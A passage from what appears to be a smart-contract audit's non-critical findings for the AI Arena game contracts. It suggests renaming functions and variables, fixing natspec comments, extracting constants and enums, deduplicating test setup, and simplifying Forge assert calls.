guppy — 02/11/2024 3:50 PM 100 is a flag we use to determine if it’s a custom attribute or not

To avoid sprinkling literals in the codebase and improve it's readability it is recommended to extract this literal to a constant, something like this:

/// @notice Special value for custom attributes
uint256 private constant CUSTOM_ATTRIBUTE = 100

And replacing it in the following lines: here, here and here

[NC-03] Rename dendroidBool to isDendroid

Variable containing its type is redundant in statically typed languages. is prefix is common convention for boolean values.

Alternatively, replace the value with uint8 fighterType.

[NC-04] Fix misleading function name and natspec in GameItems.sol

The function instantiateNeuronContract should be renamed to setNeuronContract, because it conveys what the function actually does.

Additionally, update the comment, to be more accurate:

- /// @notice Sets the Neuron contract address and instantiates the contract.
+ /// @notice Sets the Neuron contract address.

[NC-05] Send zero bytes as data argument when minting

It's unusual to have an arbitrary string as the data parameter of the _mint function. Replace bytes("random") with "0x"

[NC-06] Missing notice tag in natspec for variables in MergingPool.sol

- /// The address that has owner privileges (initially the contract deployer).
+ /// @notice The address that has owner privileges (initially the contract deployer).
address _ownerAddress;

- /// The address of the ranked battle contract.
+ /// @notice The address of the ranked battle contract.
address _rankedBattleAddress;

Default tag is @notice, but it's nice to be consistent with the other natspecs.

[NC-06] Incorrect doc string for variable in MergingPool.sol

- /// @notice Mapping of address to fighter points.
+ /// @notice Mapping of fighterId to fighter points.
mapping(uint256 => uint256) public fighterPoints;

[NC-07] Common setup code in tests can be extracted to a base class

Currently, there is a lot of duplicated setup code and variables in the tests. See the setup of:

• AiArenaHelper.t.sol
• FighterFarm.t.sol
• MergingPool.t.sol
• RankedBattle.t.sol
• StakeAtRisk.t.sol
• VoltageManager.t.sol

This can be avoided by creating a Base contract that contains common setup and then each Test contract will do only its own specific configuration.

[NC-08] Misleading function names in RankedBattle.sol

Rename instantiateNeuronContract to setNeuronContract, to reflect what the function is actually doing. Update the natspec:

- /// @notice Instantiates the neuron contract.
+ /// @notice Sets the neuron contract.

Rename instantiateMergingPoolContract to setMergingPoolContract, to reflect what the function is actually doing. Update the natspec:

- /// @notice Instantiates the merging pool contract.
+ /// @notice Sets the merging pool contract.

Rename setNewRound() to beginNewRound(). As prefix set implies the caller will specify a roundId, which is not the case. The function actually increments the roundId.

[NC-09] Improvements to updateBattleRecord function

Create a BattleResult enum and use it instead of uint8. This will improve the code readability. It will be easy to understand if we're looking in the case of a win and additional comments like /// If the user won the match will become unnecessary, as the code will be self-documenting.

+ enum BattleResult {
+   win,
+   tie,
+   loss
+ }

function updateBattleRecord(
  ...
- uint8 battleResult,
+ BattleResult battleResult,
  ...
)

Rename updateBattleRecord parameter:

function updateBattleRecord(
  ...
- bool initiatorBool,
+ bool isInitiator,
  ...
)

It will convey better the purpose of the variable.

[NC-10] Simplify assert statements

Some assert statements are being unnecessarily complicated, there are overloads that support all cases for comparison of native types. Using the correct APIs increases the readability and expressiveness of code. There are many instances where assert calls can be improved, below I have outlined some general examples.

In the following lines, the == operator can be omitted:

- assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
+ assertEq(_mergingPoolContract.winnerAddresses(0, 0), _ownerAddress);

- assertEq(mintPass.totalSupply() == mintPass.numTokensOutstanding(), true);
+ assertEq(mintPass.totalSupply(), mintPass.numTokensOutstanding());

Here a specialised assert can be used:

- assertEq(mintPass.mintingPaused(), true);
+ assertTrue(mintPass.mintingPaused());

See forge-std/lib/ds-test/src/test.sol for all assert overloads.

Avoid using the Solidity native assert statement, when you can use the APIs from Forge:

- assert(_helperContract.attributeToDnaDivisor("head") != 99);
+ assertNotEq(_helperContract.attributeToDnaDivisor("head"), 99);

[NC-11] Consider replacing decimal multiplier with ether keyword

Since ether contains 18 decimals it is possible to use the ether keyword when describing NRN values. It is shorter and conveys the amount just as well.

Example:

- uint256 stakeAmount = 3_000 * 10 ** 18;
+ uint256 stakeAmount = 3_000 ether;

A simple string replace will update all instances correctly, with the exception of 1, which is easy to do manually.